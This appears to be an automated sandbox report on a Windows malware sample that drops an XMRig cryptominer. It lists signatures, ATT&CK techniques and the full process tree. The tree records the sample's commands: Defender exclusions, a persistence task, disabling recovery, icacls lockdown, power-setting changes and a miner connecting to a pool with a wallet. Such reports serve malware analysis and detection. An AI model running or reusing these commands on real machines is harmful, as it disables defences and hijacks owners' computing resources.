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2026-10-14...ar.exe

windows10-2004-x64

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2026-10-14...ar.exe

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/10/2026, 13:59

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General

  • Target
    2026-10-14_b39a69de9f6dca39a08b796df516d188_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 401KB
  • Sample261014-raphmssz6j
  • SHA256 ff6427ea6629652fe86adfb4a07c8a61817b3afba91c237a35d59314a0dae7ef
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionexploitxmrigminerpersistence

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
    defense_evasion
  • XMRig Miner payload 11 IoCs
    miner
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 3 IoCs
    defense_evasion
  • Possible privilege escalation attempt 3 IoCs
    exploit
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Power Settings 1 TTPs 7 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-14_b39a69de9f6dca39a08b796df516d188_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-14_b39a69de9f6dca39a08b796df516d188_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4500
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4936
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1720
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C reagentc /disable
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        PID:3496
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5832
      • C:\Windows\system32\takeown.exe
        takeown /F "C:\Windows\System32\reagentc.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5340
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5236
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5940
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4124
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2964
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:3224
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4408
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:5556
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4544
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1472
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /hibernate off
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4352
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\system32\PING.EXE
        ping -n 1 -w 1000 8.8.8.8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1012
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe --algo rx/0 --url 77.73.20.192:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
      2⤵
      • Badlisted process makes network request
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2320
  • C:\Windows\System32\Win-v42.exe
    C:\Windows\System32\Win-v42.exe
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:3188
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:2520

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Power Settings

        1
        T1653

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        File and Directory Permissions Modification

        2
        T1222

        Windows File and Directory Permissions Modification

        1
        T1222.001

        Modify Registry

        1
        T1112

        Virtualization/Sandbox Evasion

        2
        T1497

        Credential Access

        Discovery

        Query Registry

        3
        T1012

        Remote System Discovery

        1
        T1018

        System Network Configuration Discovery

        3
        T1016

        Internet Connection Discovery

        2
        T1016.001

        Virtualization/Sandbox Evasion

        2
        T1497

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
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        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 364297915313f721d05e88312a8ad352c1edc72833b320c04cb640ecd4544cc1
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        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
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        __PSScriptPolicyTest_i4r35pgz.jh0.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i4r35pgz.jh0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
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        Submit Download

        Win-v42.exe
        • Path C:\Windows\System32\Win-v42.exe
        • Size 401KB
        • SHA256 299729283ea2d9f1d662b5090c640592bf33da1b0e37c6feb424afc764d7b8ae
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        memory/2320-66-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-67-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-71-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-70-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-69-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-68-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-60-0x0000021C6C930000-0x0000021C6C950000-memory.dmp
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        memory/2320-61-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-62-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-63-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-64-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/2320-65-0x00007FF7129A0000-0x00007FF713263000-memory.dmp
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        memory/4500-15-0x00000201D72B0000-0x00000201D72C0000-memory.dmp
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        memory/4500-14-0x00000201D72B0000-0x00000201D72C0000-memory.dmp
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        memory/5776-0-0x0000026051400000-0x0000026051410000-memory.dmp
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        memory/5776-1-0x0000026051400000-0x0000026051410000-memory.dmp
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        memory/5776-2-0x000002606B7A0000-0x000002606B7C2000-memory.dmp
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        memory/5776-10-0x0000026051400000-0x0000026051410000-memory.dmp
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